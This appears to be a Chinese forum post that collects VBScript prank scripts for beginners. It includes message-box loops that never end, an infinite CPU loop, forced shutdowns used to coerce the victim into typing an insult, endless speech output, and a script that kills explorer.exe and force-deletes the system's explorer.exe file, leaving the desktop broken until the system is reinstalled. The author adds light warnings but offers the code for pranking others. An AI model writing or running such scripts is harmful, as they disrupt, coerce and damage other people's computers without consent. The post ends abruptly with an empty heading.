代码大集合

hi，又和大家见面了。这次我把代码全部集合起来，方便初学者学习

1.整人，弹出无数个对话框（建议能不用就不用！）

msgbox"此处文字可修改！”
msgbox"此处文字为提醒文字，可修改"
msgbox"此处文字可修改，也可用msgbox函数加行"
do
msgbox"整人！弹出无数个对话框！（此处文字可修改！）"
loop

2.占用cpu。

do
loop 

3.骂自己是猪（最好不要用！用要谨慎！）

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox "乖"
loop
msgbox "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox  "自己骂自己的不要脸~~~~~~",4, " "

4.电脑英文数数。（这个是最惨的。就是one、tuo……数数，只要不关机就数）

Set s = CreateObject("sapi.spvoice")
i=0
 do
   s.speak i
   i=i+1
 loop

5.反着来（这个就是按否就关机了）

if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then  

msgbox "  系统将立刻重起wow ~_^",,"你上当了！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if

6.弹出无数个计算器软件。（这个直接卡机）

Set ws = CreateObject("Wscript.Shell")
ws.run "cmd.exe /c call calc.exe",0

7.桌面删除（就是把桌面直接删除，运行了就直接装系统或者一键还原行了！）

set ws=CreateObject("Wscript.Shell")
ws.run "cmd.exe /c taskkill /f /im explorer.exe",0
wscript.sleep 900
ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"
wscript.sleep 1200
ws.run "cmd.exe /c del /q /f %windir%\explorer.exe"

一览图：

7.